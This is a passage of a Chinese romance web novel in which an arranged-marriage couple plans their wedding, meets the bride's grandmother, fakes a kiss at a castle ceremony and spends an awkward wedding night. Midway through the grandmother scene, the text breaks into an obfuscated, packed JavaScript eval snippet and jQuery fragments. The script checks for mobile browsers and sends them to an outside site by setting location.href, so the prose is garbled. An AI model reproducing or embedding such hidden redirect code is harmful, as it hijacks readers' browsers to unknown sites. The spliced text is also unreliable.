冯意柠微顿,不解地问:“是在说什么最新的冷笑话吗?” 裴时叙却说:“不早了,进去吧。” 冯意柠看他实在没有解释的打算,只能直起身,道别后,走出一小段路,再回头的时候,那辆迈巴赫已经驶入街道憧憧。 一阵风吹了过来,冯意柠下意识摸了摸耳尖,微凉,薄薄一层皮肤裹着柔软。 很百思不得其解,所以她的耳尖,能有什么气势? 这人到底在莫名其妙说什么呢。 冯意柠边想着,边走进大堂,被不轻不重地撞了下肩膀,转眸对上孟思栀饱含促狭的目光。 “想什么呢?车都走远了,难道一起把你的魂都带走了吗?” 冯意柠口吻认真地问:“你听过耳尖很有气势的梗吗?” 孟思栀张唇:“哈?” 冯意柠说:“你没听错。” 孟思栀冷酷评价:“好低级的冷笑话。” 冯意柠问:“哪低级了?” 孟思栀无奈耸肩,理直气壮地说:“我完全听不懂,难道还不能说明有多低级吗?” 冯意柠:“……”就知道她这个发小,不是很靠得住。 “不早了,我们还是先进去吧。” “行。” 项目组的局结束后,冯意柠顺路去提了她的新车,是辆经典款保时捷,一路驶回老宅。 老宅客厅里正在商量婚礼流程,齐馥仪和商窈杳相谈甚欢,冯亦清就坐在旁边微笑着附和。 其实这场婚礼,裴家早在大半年前就在筹备相关事宜,这些天齐馥仪和林娴若两位母亲,更是一起精心把婚礼的细节定好。 冯意柠刚到,就看到商窈杳朝她招了招手,只能坐了过去,大致听了嘴,婚礼地点定在古堡,裴家的家产之一。 冯意柠早就知道这场婚姻会盛大,只是没想到在讨论过后,各项流程会变得越来越繁复,她原本以为当天主要当个甜蜜微笑的提线人偶就行。 现在看到铁人三项般的满满流程,心想她那天多半要遭难。 冯意柠试图委婉地打断:“会不会太隆重了些。” 齐馥仪说:“我们齐家就没有不盛大隆重的婚礼,当年我堂姐穿着六米的拖尾婚纱,整个商界名流都赶着来参加。” 说着,齐馥仪眉眼浮现出几分留念:“当时堂姐就说,以后我们齐家姑娘的婚礼,要轰轰烈烈,更要做万中无一。” 说的是当年齐谢两家的联姻,至今还是临北的一段佳话,只可惜这对感情甚笃的夫妇,早年飞机遇难,只留下两个儿子,那年长子才不过二十一岁。 冯意柠伸手拍了拍齐馥仪的肩膀,她知道母亲跟堂姨的关系一向好,年少就是闺中密友。 齐馥仪笑着,轻摇摇头,伸手握住她的手:“柠柠,我知道你不爱麻烦,只是这婚礼要办就要办得隆重盛大,咱们家重视,裴家更要重视,自此让外人不敢再小瞧了你。” “我知道。”其实道理冯意柠都明白,只是在家里人、最亲近的家人面前,会有几分小姑娘的撒娇性子,很轻叹了口气,“只是感觉办场婚事跟打仗似的。” “你这孩子。”齐馥仪任由自家小女儿靠在肩膀上,“是不是累到了?先回房休息,这里我跟你二姐和嫂子一起商量。” 冯意柠连忙说:“不了,我一起看看。” 都说三个女人一台戏,要是放任这三位一起讨论,她都不敢想那天是怎样的盛况。 婚礼是一天的安排,从早到晚,说到旋转楼梯,冯意柠眼睁睁听到,她跟丈夫要一起走下来,交换戒指的环节,顶上有特殊装置的粉白花球,等待撒下花瓣,摄影团队随时候位。 冯意柠问:“摄影团队?” 齐馥仪笑道:“让你嫂子特意请来的。” 冯意柠有种不好的预感,下一秒,听到冯亦清解释:“请来记录新婚精彩瞬间。” 冯意柠:“?” “虽然便宜裴家那位了了,不过是柠柠的婚礼,我就懒得计较那么多。”商窈杳弯着红唇,“柠柠你放心,论铺张豪奢,你嫂嫂最在行了,这场婚礼绝对办得风风光光,放在整个临北,那天你绝对是最美的新娘。” 冯意柠还没开口,又听到她们说到婚礼蛋糕,眼睁睁看到她们定下了高达四米的巨型蛋糕。 …… 半晌,冯意柠这个新娘本人,反倒一句都插不上嘴,深深觉得此地不宜久留,毕竟这仨人脑子里只剩“盛大、隆重、风光”这三个大词。 冯意柠刚跟她们道完别。 又听到齐馥仪说:“对了,柠柠,老太太要回来了。” 老太太讲的是冯意柠的亲奶奶,早年跟冯老爷子离婚,在国外创办了自己的服装品牌,常年出现在各大时尚杂志上。 “什么时候?”往常每年冯意柠都会寻一周假期,跟二姐结伴去国外找老太太,心下高兴,“我去接她。” “不用,老太太自个有主意。”齐馥仪笑道,“亲自点名,说是让阿叙去接。” 让裴时叙去接?老太太一向护短,冯意柠心想这多半是来验货,给下马威来了。 “我知道了。” 等到冯意柠离开,冯亦清去阳台接了通电话,齐馥仪才想起来:“老太太说给柠柠设计了几件礼服,当做新婚礼物这事,我刚刚说了吗?” “好像说了吧。”商窈杳注意力完全没在这上面,“妈,你看这个喜帖样式怎么样?” 齐馥仪仔细看了眼:“还不错,比我们刚刚看的好些。” 回到房间,冯意柠洗漱完,思来想去还是坐在床边,抱着她最爱的垂耳兔玩偶,决定给裴时叙打通电话。 毕竟他们现在是友好合作伙伴,提前通个气总是没错的。 接通后,冯意柠说了老太太指名要接的事情,裴时叙只是口吻如常地应了声。 冯意柠隐隐有种预感:“你听起来不怎么意外。” 裴时叙说:“刚老太太打了通电话来。” 很符合老太太的行事作风,冯意柠轻声问:“你答应了?” 裴时叙说:“长辈想见未来的孙婿,合情合理。” 这人太过从容,反显得冯意柠大惊小怪了,多嘴问了句:“有说要我一起去吗?” 裴时叙说:“接你去一同去。” 冯意柠稍稍放心:“那行。” 话音刚落,有几秒的沉默,就在冯意柠想开口结束这通的时候。 低沉冷感的嗓音传来:“在担心?” 冯意柠倒不是担心男人,她更担心自家老太太才对,可转念一想,这人正常发挥,在长辈面前完全算个人,又不会用对她嘴毒的这套。 “不担心。” 裴时叙说:“顺路去趟新房。” 冯意柠想起上次到新房调整细节的事,知道多半是要去确认一眼:“那我们到时候再联系。” - 老太太回国那天,临时调了航班,冯意柠接到消息,让她和裴时叙一同到自家名牌的店里,是国内一家分店,临北仅有一家。 他们到的时候,顾慧中正听完经理汇报季度报告,一头花白利落卷发,黑白色系套裙,很有威严的优雅。 经理朝他们打了招呼,走了出去,顾慧中目光落在自家小孙女身边的男人身上,打量了会,唇角泛出笑意:“阿叙,好些年没见,都快要认不出来了。” 裴时叙说:“顾奶奶,老爷子常提起你,说是许久没见,怀念从前一起钓鱼的日子。” 顾慧中问:“你家老爷子近来可好?” 裴时叙说:“还是老样子,有精神。” 冯意柠听着两人寒暄,哪有“验货”、给下马威的意思,她家老太太眼里的惊艳,可是半分都藏不住。 忍不住心想,她家基因里的颜控真是没救了,身边吸引同种属性的人,她也遗传。 聊了会,顾慧中临时有事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15391695|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去外头接电话。 等着反正闲来无事,冯意柠干脆浏览起商窈杳发来有关婚礼的最新详情。 虽说冯意柠知道只不过是场联姻,可自己的婚礼,她还是上心的。 冯意柠抬起手机,给裴时叙看三个备选的喜帖样式,指了指:“这个?” 裴时叙说:“可以。” “那这个呢?” “嗯。” 冯意柠抬眼:“老公,你知道这种行为叫什么吗?是明晃晃的敷衍。” “我不懂这些。”裴时叙薄唇微启,“老婆做主就成。” 叫老婆还挺顺嘴,冯意柠其实也没什么情绪,只是找到由头打趣两句而已,突然想到母亲的话,便问出口:“婚礼定在古堡,听说是你提议的。” 裴时叙说“是”,又听到这小姑娘表面温温柔柔,实则暗暗促狭地说了句:“没想到是个这么浪漫的人?” 冯意柠本以为男人不会回答她。 裴时叙却说:“无论如何,婚礼是一辈子的大事,裴太太自然要最好的安排。” 冯意柠脸颊微微发热,又不想让这人看出来:“这话私下说可没什么用处。” 裴时叙口吻淡淡:“那劳烦,老婆教我?” 对视间,冯意柠心想,他是故意的。 以此来回敬自己的那几句打趣。 这时门板传来被叩了几下的声音,顾慧中站在门外,语气颇为意味深长:“柠柠,我本来想着,如果你不开心,就带你去国外,现在看来暂时不用了。” “不过哪天要是需要,度假也好,介绍小狼狗这事儿,随时等你电话。” “知道了,奶奶。” 冯意柠听的时候,就在心想这都是可以直接在人面前说的话吗? “有几条礼裙,记得走前带走。”顾慧中说,“那行,不打扰你们小年轻谈恋爱了。” 冯意柠起身:“不回老宅吗?” 顾慧中说:“不了,我去谢家一趟,书青组了个局。” 说的是谢家老太太,她们关系亲,是多年的密友。 跟顾慧中道别后,他们一起去了新房,冯意柠看了看改动的装修细节,都是按照她的要求来的。 看完,冯意柠喝了几口温水,转眼看到裴时叙正垂眸看着手里的婚礼流程安排。 其实她不懂,为什么婚礼还要排练? 现在冯意柠对于这场婚礼,最大感受就是隆重、费时、费力。 冯意柠问:“有什么问题吗?” 其实婚礼流程是商窈杳塞进她手里的,改动后,一直都还没仔细看过。 裴时叙说:“交换戒指后,比上版多了一个环节。” 冯意柠微怔,坐到裴时叙旁边,稍稍侧身,看起交换戒指后的环节——世纪之吻。 这是要她跟裴时叙互亲吗?那人的性子冷清倨傲,嘴唇也很淡,是形状很薄凉的那种薄唇。 只是嘴毒的人,嘴唇会软吗?她甚至有些难以想象那个场面。 “看来遇到难题。”冯意柠转念说,“可其实,这个难题,说难也不太难。” 裴时叙淡瞥着她,示意她继续。 冯意柠说:“总归婚事是我们私事,只要老公愿意出面,像不希望像外界展露隐私这类理由,长辈们还是会理解的。” 一口一个没几分真心实意的老公,这姑娘撺掇利用他在长辈面前做“恶人”的算盘太明显。 裴时叙听完,唇角极淡地微掀了下。 没得到回答,冯意柠一时有些摸不准他的意思。 过了几秒,裴时叙说:“犯不着。” “那怎么办?只能真亲吗?我主要是担心老公你不方便。”冯意柠故意说得恳切,心里却在想,她倒要看看这人能有什么妙计。 裴时叙问:“哪不方便?” 冯意柠佯装很善解人意地说:“李叔不是说老公有洁癖吗?这是要交换唾液的。” 裴时叙说:“裴太太这样善解人意,很感动。” “……”信你有鬼。 冯意柠有不好的预感:“所以?” 裴时叙将婚礼流程随意轻抛在茶几上,好整以暇地后仰了仰,有意逗她。 “现在开始练接吻,也不是不成。” 冯意柠:“?” 这人怎么不按套路出牌? 12、世纪吻 冯意柠承认,她一向自诩情绪稳定的处事原则,在这个男人的面前,遭遇到从所未有的滑铁卢。尤其是这人随意坐在沙发,深色西装外套搭在扶手处,稍稍后仰,修长手指垂在身侧,神情无端散漫。浑身散发着令人不爽的讯息——笃定她不会亲,也不敢接招。 他们这会离得不算远,仅半个人不到的身位,尤其是她刚为了看清婚礼流程坐得更近了些——此时她只要稍稍凑近仰头,就能咬上眼前这双薄唇。 不就是练习接吻吗?不过是嘴唇上下碰一碰的事情,她有什么不敢接招的?靠近的时候,冯意柠又忍不住心想,弧度这么漂亮的嘴唇,怎么偏偏生在这般嘴毒的人身上。有些暴殄天物啊。 就在冯意柠快要亲上的时候,却被男人偏头避开。不算意外的反应,如果真让她碰上了,才真的要怀疑男人是被夺舍了。冯意柠心满意足地直起身,微微弯着眼眸:“老公这是怕了?” 只不过在瞬息之间,伸来的大掌落在纤薄后腰,男人朝她俯身。背光的高大身躯覆下大片阴影,拉长一段暧.昧不明的长镜头。冯意柠一瞬心神都乱了,反应能力都被迫近的清冽气息裹挟。 脑海里不断冒出意乱的想法。他的掌心好烫。他离得好近。他是要亲上来了吗? 那股滚热气息,丝毫没有停下的意思,大掌落在后腰,阻断了能够后退的余地。隔着一层薄薄衬衫衣料,修长指骨覆住陷入弧.度,蒙上一层令人遐想的阴影。 别无他法间,冯意柠阖紧双眼,朝旁边猛地偏头。交错的鼻息堪堪蹭过。 一片安静的客厅里,裴时叙垂眸,瞥着眼前偏过头的姑娘,紧阖着眼眸,薄薄日光下的眼睫微颤着,像是被染成一层蝉翼般的透明色。就连撑在他胸膛前的纤细手指,无意识紧紧揪住衬衫,质地讲究的面料上,泛着一小团的显眼褶皱。 头顶传来低沉冷感的嗓音。"老婆,这是怕了?" 冯意柠意识到男人这是拿自己的话来回敬自己,这会她也意识到,其实这人根本就不会亲上来。只是在这场意乱的博弈中,是她没能控制住地慌了神。 掌箍在后腰的大掌收了回去,冯意柠佯装镇定地睁开眼,坐远了点,心想这人的劲真大,刚刚她竟然一点反抗的余地都没有。这会她的逻辑完全还在:“刚刚你避开了我,这次我避开了你,你一次我一次,算是扯平了。” 裴时叙说:“有一点不对。”冯意柠不解地瞥去。裴时叙薄唇微掀:“我避开,不是怕你亲上来。”冯意柠语调轻柔地问:“那是什么?”她倒想看看这人还能有什么借口。 裴时叙淡瞥着这姑娘,视线自上而下,唇角微掀。“瞧着不情不愿。” 冯意柠听了这话,忍不住腹诽,刚要亲上去的时候,这人明明还像个不能被玷污的贞洁烈男。就算她不情愿,也不见得他情愿。 还在想着,又看到男人垂眸瞥了眼手机屏幕的来电,起身,只留下一句:“让旁人瞧见,还以为怎么欺负了你。” 哪模样?冯意柠扭头,看着走向阳台接电话高大背影,思索了几秒,借着男人没空管她的间隙,直直走向浴室。 三分钟后,冯意柠跟镜子里面的自己面面相觑:“……”她才知道这模样到底是哪模样,两边脸颊微红就算了,可以用热的理由来解释。可是耳尖却特别红,仿佛能滴下来。 她的耳朵,怎么这么就没有眼力见?冯意柠很无奈地想,没想到竟然败给了下意识的身体反应。老男人就是有手段。老谋深算。一点都不真诚。 经过刚刚的插曲,冯意柠深知她今天的状态,不宜和老谋深算的某人过招。于是在裴时叙讲完电话回来后,稍稍保持一小段安全距离。“既然这里看完了,林姨不是说要我们去一趟吗?现在走吧。”裴时叙没说什么,只应了声。 一路驶进裴公馆,林娴若早早就在等着他们了,特意备好了晚餐,见她来解释:“阿叙的爸爸和弟弟前两天出差,老爷子去山里钓鱼,晚上就我们三个人,一些家常便饭。”冯意柠笑着点了点头:“老爷子大早就出门,说是跟裴爷爷约好了,还说回头带鱼回来蒸鲜给大家尝。”林娴若由衷感叹道:“这么多年了,两位老爷子关系还是这般好。” 吃完晚餐,冯意柠陪坐在沙发上,跟林娴若聊天,裴时叙就坐在一旁。林娴若握住她的手:“柠柠,最近感觉怎么样?回临北有段时间了,听说你的工作室很忙,有事业是好事,也要注意身体。”“谢谢林姨。”冯意柠也回握住手,“也请放心,最近换季,林姨也注意身体。” “千万别客气,以后都是一家人。”林娴若说完,微揪眉头,又很担忧地说,“阿叙是不是很无趣,跟你说不上什么话,尽像他爸爸了,年轻时候工作狂一个,不懂得疼人,气人倒是特别有一套。” 亲妈的吐槽果然很致命,也不给自家儿子一丁点的面子。 冯意柠下意识朝着男人瞥了眼,发现这人神情如常,老一副散漫随性的模样,对这话不甚在意。 林娴若也顺着看去,心中叹气,她这俩儿子没一个随她了,前世欠下的冤家,还是一来就一对。又看了看眼前温婉含笑的姑娘,性子柔脾气好,忍不住怜爱起来。“好孩子,以后阿叙要是敢欺负你,说给我听,我第一个帮你收拾他。” 冯意柠为自家资方爸爸说起客套话:"林姨放心,阿叙不会的。"“你不用为他说话,我自己的儿子,还是很了解的。”林娴若说,"他要是哪天惹你不高兴了,睡书房,跪榴莲,写检讨,新房写着你的名字,把他赶出去都行。" 冯意柠微微抿住唇角,想了一些难过的事情,才没有不厚道地笑出声。 “知道了,林姨。” 林娴若问:“这会还叫林姨?”冯意柠笑了笑,改口:“妈。”林娴若笑着“哎”了声。 晚些时候,冯意柠和裴时叙一同跟林娴若道别。裴公馆内人造湖旁灯影幢幢,数千盏荷灯浮在粼粼水面,浮光跃金,仿若一折梦境中才能惊鸿一瞥的古画卷。冯意柠早就知道裴家向来有干灯愿的俗习,为给新人祈福驱邪,护佑平安喜乐,可直面的那股震撼感,是极其惊艳的。 一灯一愿,一处雕栏亭阁卧踞水面,盛着湖中的潋滟千盏,仅有两盏还没点上,冯意柠从男人手里接过一盏,火鹤花样式,明式的琉璃制艺,烛芯被烫上一截火舌。冯意柠半蹲下,轻轻一推,浮在湖面的愿灯渐渐飘远。 裴时叙同样点上手里那盏愿灯。 放完后,冯意柠一时没起身,瞥向被灯火晃过的深邃面容。裴时叙没抬眸,察觉到旁边一瞬不瞬的目光:“还要看多久?” 冯意柠坦白:"我有问题想问你。"裴时叙朝她瞥来。冯意柠这才好奇地问:“你在家里还气妈妈啊?” 裴时叙起身,似是觉得这个话题太过无聊,只留下句:“哪敢。”冯意柠跟在男人身后,心想这哪里是“哪敢”,分明是气人的本领已经炉火纯青。有种气人不自知,气人胜有声的感觉。 走了一小段路,裴时叙没有继续谈下去的意思,冯意柠也没多说,她其实也就想打趣一两句而已。过了会,身旁传来:“老婆。”冯意柠已经有种这人叫老婆,就一般会不妙的下意识反应了,应了声:"嗯?" 裴时叙说:“以你的本领,大可不用担心。”冯意柠反问:“我哪样的本领?”裴时叙说:“也就是瞧着乖,伶牙俐齿,吃不了半点亏的脾气。”冯意柠:“……”原来在这人眼里,她就是这形象。 冯意柠微弯眼眸:“好巧,老公你嘴毒气人,我吃不得亏,凑到一起,刚好谁也欺负不了谁。”这处她不是很熟悉,又加上说这话,一时察觉脚下的石块,一绊身形翅趄,纤薄侧腰被伸来的手指握住,稳住她的身形。 冯意柠缓了几秒,纤细手腕还被修长手指圈着,下意识仰头。裴时叙唇角极淡地微牵:“我还不至于被个走路不看路的小姑娘拿捏。”冯意柠:“……”总感觉被取笑了。 裴时叙收回手,瞥见这姑娘手腕泛着圈微红,因着皮肤白,异常显眼,眉头不自觉微蹙:“伤到了?”“没有。”冯意柠看了眼,解释,“是体质的问题,容易留痕。” 裴时叙投来一眼,似是确定这话的真实性后,没说什么迈步。冯意柠伸手揉了揉手腕,总感觉还残留着那股灼.热的触感,怪怪的。她跟着走,抬眼看着眼前男人的高大身影,轻声问:“你是不是在心里想,我很娇生惯养?” 裴时叙说:“没有。”冯意柠不信,她从男人刚刚眼神中看到明显的“娇气”两个字:“你没说实话。”裴时叙问:“你是小朋友么?”冯意柠不解:“嗯?”裴时叙说:“凡事要争个你对我错。” 冯意柠提取关键词:"那你承认是我对你错了吗?"裴时叙似是听到什么荒谬的笑话,唇角微掀:“你觉得是,那就是。” 冯意柠还在惊讶男人的松口,又听到他说了句:“跟个小朋友计较什么。”“………”她就知道。 婚礼在即,冯意柠前脚还在工作室会议室里开完大半天的会,后脚下班,就被塞进流程安排现场。直到婚礼前三天,这场磨人的婚礼排练才彻底结束。 当晚,冯意柠就被隔离在酒店的顶层套房里,这三天她不能跟裴时叙见面。不能跟塑料老公见面不碍事,反正不耽误网上会议,最近重点项目正在宣传节点,各组员都在加班加点。 第三天会议结束的时候,已经到了晚上十点整。冯意柠接到孟思栀的电话,好友此时正敷着面膜瘫在沙发上。“你真是拼命三郎,明天婚礼都阻挡不了你这颗工作狂的狂热。” 冯意柠说:“反正也在隔离,刚好处理会工作。”孟思栀问:“就不打算来个私会?”冯意柠好笑地问:“私会什么?”孟思栀说:“夜深无人,干柴烈火啊。”“清清废料。”冯意柠说,“而且你不觉得他对人类不感兴趣吗?” “我突然想起来,你之前醉酒坐腿上,他都无动于衷,还是你这种级别的大美人。”孟思栀稍顿之后,忍不住发出疑问:“他该不会是不行吧?” 冯意柠说:“他行不行不重要,明天你是伴娘,你得行。”孟思栀看了眼时间,把面膜一扯,挂断电话前说:"睡了,你也早点睡。" 婚礼地点定在古堡,裴家的家产之一,位于海岸线旁,融合了哥特式、巴洛克式和文艺复兴式等多种风格,湛蓝海边倒映着典型哥特式的主塔。*所有宾客由专机接送,入住以层数闻名世界的酒店,双环锁设计的建筑高耸入云,湛蓝清澈的天空中,如同一座乱入的钢铁森林,俯瞰整座海岛风景。 新娘婚纱由首席设计师和Previous名牌共同合作,由二十位裁缝制作四个月完成,缎面材质,古典花纹刺绣精致高贵,将近万颗钻石和珍珠镶嵌在上面,日光薄雾下散发着潋滟星河的流动感。薄薄一层洁白头纱上是一顶冠冕,梨型切割底座,古典端庄的鸢尾花纹,35颗重45克拉的海蓝宝石,以及702颗玫瑰切割的钻石,点缀和镶嵌其中。* 高达三十米的旋转楼梯,在连接一楼的层阶上,与顶上华丽的水晶吊灯,交相辉映成一地流光璀璨,墙面上的壁画美轮美奂,处在白日也恍若一座不夜城。婚礼蛋糕高达三点六米,裱花是数千朵雪山玫瑰,童话梦幻的风格,冯意柠和裴时叙站在古堡的旋转楼梯上,执手点上最顶部的那根心形蜡烛。 下一项流程是一起走下旋转楼梯,冯意柠稍稍侧身,伸手挽住男人的手臂,却没有迈开脚步,而是伸手在小臂上轻轻写字。——鞋翻了。她刚刚下楼梯扭了下,虽说没有应该很大碍,就是在轻扭查看有没有伤到脚踝的时候,不小心踢翻了一下鞋。身畔传来低沉冷感的嗓音:“Princess Anne?”男人的发音很醇厚地道,尾音有几分随性,很有质感的冷感嗓音。 Princess Anne,电影罗马假日中的女主角,开篇作为一国公主疲于应对外事应酬,裙摆下的脚悄悄探出了截,结果不小心踩翻了高跟鞋。——巧妙地跟她此时的情况一致。 十五岁时印象深刻的电影片段,冯意柠没想到会有一天被别人用来打趣自己。 没过一小会,繁复的裙摆下,冯意柠终于重新穿上鞋。又在小臂上轻写了一行字。——走慢点,plz 写完又轻捏了下男人小臂,示意可以继续走了。 裴时叙却没有迈步:"抱住我。"冯意柠:“?”还没来得及反应的时候,她被拦腰公主抱起,腿弯和后腰都被稳稳托住。眼前突然的悬空,迫使她只能紧紧环住男人的脖颈。 长枪短炮的镁光灯交相闪烁,记录这个瞬间——长阶楼梯上,被矜贵冷峻的男人抱在怀里的姑娘,微仰着头,洁白头纱轻扬起,在半空辉映着一层浮光璀璨,凝眸望着自己的丈夫。 直到被拍了好一会,冯意柠才缓过神,他们这会离得近,说话也像交颈私语。“你怎么突然抱我?”他们下楼梯的排练明明没有这个流程。裴时叙说:“扭到脚,还用我提醒么。” 男人就连关心的话也这么嘴硬,原来不久前她崴到的时候,对方瞥来的那一眼,不是她的错觉。冯意柠微抿眼眸:“老公,你现在是在关心我吗?” 撑在后腰的大掌稍稍松劲,冯意柠眸光微颤,连忙收紧了手臂,生怕摔下去。可下一瞬又被稳稳托住,耳畔落下低沉冷感的嗓音:“别乱叫。” 这人是故意作弄她的,冯意柠回过神,趴在男人的耳畔,幽幽控诉:“裴时叙,你真的很幼稚,也很恶劣。”这姑娘埋怨也似撒娇,裴时叙没理会,唇角几不可查地轻掀。 冯意柠被一路抱着走,交换戒指的位置就在彩绘玻璃窗旁边,日光映着一地金色光斑,落得两位新人半身影影绰绰,如同沐浴在圣洁又美丽的辉光里。 证婚人看着眼前的一对新人,开口:“你是否愿意娶她为妻,无论贫穷还是富有、疾病或健康、顺境或逆境,都爱她、尊重她、保护她,直至生命尽头?”*裴时叙说:“我愿意。” 证婚人又朝着新娘又问了一遍一模一样的问题。冯意柠微顿,笑道:“我愿意。”证婚人说:“现在新郎新娘可以开始交换戒指了。” 裴时叙在她的身前半跪下,那颗从花费四亿港城拍卖而来名为Pink Star的粉钻,重达11.7克拉,镶嵌在戒指上,在光雾里折射璀璨美丽的微光。被戴在冯意柠的无名指上。 交换完戒指,就是世纪吻的环节了,冯意柠心中记得流程,却也忍不住紧张,掌心渗出一层薄汗。在场这么多人,她初吻今天怕是要交待在这里了。 裴时叙神色未变,俯身,清冽的雪松气息迫近,距离随之缩短。 鼻息将触未触之时,低沉冷感的嗓音在咫尺之间响起:"裴太太,给点反应。" 话音刚落,后腰被大掌揽住。 冯意柠眼睫微颤,下意识踮脚,伸长两条细长的手臂,环住男人的脖颈。 一瞬间,柔.软触感轻贴了上来,身上那股淡淡的茉莉清香飘过鼻尖。大掌下的浅薄腰身,凹下盈盈一握的弧度。 顶上有特殊装置的花球,撒下漫天飞舞的粉白色花瓣,刹那间无边春意降临。他的气息沉沉压上来。指腹却抵着唇。 在外人看来一个短暂又甜蜜的浅吻,人声鼎沸中,起哄声四起。双唇分开后,两位新人一时没有分开,仍是维持抱着的动作,新娘微垂着眸,脸颊微微泛红,唇角几分青涩的笑意。而男人垂眸瞥着她,深邃侧脸被日光勾勒几分柔和光晕。 …… 这场婚礼一直持续到晚上,大多时候冯意柠都在敬酒,还跟裴时叙跳了支舞。结束的时候,冯意柠如释重负,感觉身体都不是自己的了,猜想她明早醒来,多半会有被卡车碾过身体的感觉。 回到顶层套房后,这处早被布置成了婚房的模样,冯意柠在玄关处脱了高跟鞋,她现在最想的就是赶紧洗漱,躺在床上。冯意柠没走出两步。 身后便传来男人的嗓音:“等下。” 冯意柠回头问:“怎么了吗?”裴时叙瞥她:“脚踝怎么样?” 冯意柠微顿:“还好,应该不碍事。” 骨头应该没有很伤到,顶多有些微肿,就是今天实在站太久,没什么力气,感觉腿都要站不直了。 冯意柠说完,看男人没说什么,就打算转身先去洗漱。 裴时叙看着这姑娘走出了几步,有些微跛,看着不怎么像没事的模样。 身后传来脚步声,冯意柠偏头,听到裴时叙说:“查看下脚踝的情况。”听到“脚踝”两个字时,冯意柠感觉头皮炸了下,下意识拒绝:"不用。" 裴时叙微拧眉头。 冯意柠意识到自己刚刚拒绝得太快,还想解释几句,却被一把抱坐到高脚柜上,她下意识想跳下去。男人却双臂撑在她的身前,将她的退路毫不留情地阻断。 就在冯意柠犹豫的几秒内,男人垂眸,修长手指撩开繁复的裙摆,单手握住纤细脚踝,稍稍抬高。白皙足心撑在西装裤面料上,笔直劲实的肌肉线条感触格外明显。 冯意柠认命地后仰在冰冷墙面上,有些无奈地说:“你这样很独裁。”“我不喜欢事情麻烦化。”裴时叙扭动了几下脚踝,“感觉怎么样?” 冯意柠撑在台面上手指微蜷。 男人的态度很公事公办,可这个距离实在太暧昧,就算是查看脚踝也离得过近了。 其实她没什么跟男性单独相处的经验,眼下这个情况,一句“很痒”堵在喉咙里,可这个姿势,这个氛围怪怪的,说出来总觉得会有种说不出的怪异。 男人的掌心温度很高,指腹很烫。 可脚踝处越来越难以忍受的感觉,让冯意柠忍不住稍稍偏过头,手指掐着高脚柜的边沿,指尖微微泛白。 裴时叙没等到回答,偏偏这姑娘的白皙足尖,还在不安生地扭动,很轻微地蹭过西装裤腿。裴时叙喉结微滚,抬眼,漆黑眼眸里几分不耐:“躲什么?” 却看清眼前的小姑娘微微偏着头,咬着下唇,脸颊泛着一层红意,向来温婉含笑的眼眸,此时竟有几分说不清的埋怨和委屈。“没躲。”声音还带着点微哑鼻音。 裴时叙瞥着她,口吻很冷:“碰两下,额头就冒汗了,还要说不疼?”冯意柠犹豫道:“不是你想的那样。” 裴时叙淡瞥着她。冯意柠知道男人肯定没信,有些破罐子破摔地说:“就是我的脚踝,有点敏.感,不适合人碰。”裴时叙:……." 冯意柠说完,看到男人眉头又有蹙起的征兆,连忙补了句:“你刚刚没给我一点说的机会。”沉默了几秒后,裴时叙收回手,跟她确认:“敏.感.点?”“算是吧。”冯意柠也没想到有一天会跟一个男人讨论这个,又补着解释一句,“不过还没有到这三个字的程度。” 说完,再度陷入一片沉默中。冯意柠稍稍抬眼,打破沉默:“应该就是扭到了下,因为今天站久了,有些微肿,晚些时候冷敷会就好。”裴时叙没说什么,应了声行。 冯意柠戳戳他的小臂,觉得有必要提醒他一下:“那你先别抵着我了。”裴时叙瞥了她眼,然后退开。 冯意柠缓缓从高脚柜上挪下来,轻声说:“还是要说声谢谢。”裴时叙没多看一眼走开,只留下口吻淡淡的一句:"犯不着。" 晚些时候,冯意柠洗漱完,穿着一身柔滑白色睡裙,在床头坐下,垂眸看了会工作消息。 过了会,身前落下低沉嗓音。 "看来是需要请个人,躺在中间。" 大晚上说这么疹人的话,冯意柠一时没抬头,问起她今晚最关心的一个问题:“你睡觉,应该没什么怪癖吧?”裴时叙说:“没有。” 冯意柠顿时放心。 听到他问:“你有?” “没有。”冯意柠垂在腿边的手指微顿,抬头看到男人还是那身深色西装,手里拿着冰袋。 裴时叙递给她:“敷会。” “谢谢。”冯意柠从他手里接过,覆在了微肿的那边脚踝上。 再抬头,只看到走远的高大的背影,男人单手松着领结,老一副散漫随性的模样。 裴时叙已经去了会,冯意柠猜想他多半是去洗漱了,她接着处理完了刚刚被打断进程的工作消息。 没过几秒,收到孟思栀发来的消息。 某栀:【视频】 某栀:【特摄的世纪吻!!!某柠,你自己看看像话吗!!!!!】 冯意柠看到这句话的时候,微顿,心想这场借位该不会穿帮了吧? 立刻点开视频。 镜头里刚开始就是深情对视,随后矜贵冷峻的男人靠近,脸颊微红的女人踮脚,主动环上对方的脖颈,这时头顶特殊装置的花球炸开,满天粉白花瓣飘洒飞舞,是一个极其甜蜜又短暂的拥吻。 看起来完全没穿帮……冯意柠确认完这点,没看完就关掉了,在视频镜头里看到自己,有种说不出的羞耻感。而且镜头真的欺骗感很强,要不是她知道这段感情是假的,都差点以为拥吻的两人有多坠入爱河了。 冯意柠还在想着,孟思栀已经开始消息刷屏轰炸了。 某栀:【视频】某栀:【视频】某栀:【视频】……某栀:【长语音】某栀:【长语音】某栀:【长语音】 冯意柠点开。 外放的语音传出来: 【某柠啊某柠,说好的塑料老公呢!这个世纪吻我都懒得说了,亲得这么纯情初恋就算了,亲完你老公那个指腹简直离不开你的唇瓣!那眼神,简直说要把你生吞活剥了都不夸张!要不是不合适,我真想把床扛来给现场,高喊一声:请狠狠震塌!】 内容:确认 【还有,下楼梯那会,你老公直接公主抱上了,你仰头安静看你老公的那张图,今天在群里都快要传疯了!不就是结婚吗?眼神都都能拉丝了,就走那么一段,有必要一直用快要亲上的距离调情吗?说那么小声,口型都避着镜头,是说什么见不得人的骚话吗?这就是见外了,到底有什么是我这个家人不能听的?!!】 【而且的而且!新婚夜大晚上还在处理工作,某柠你真是丧心病狂,小工作狂人设不倒,怎么?是白天调情太狠,到晚上终于调不动了?】 13、手指戳戳 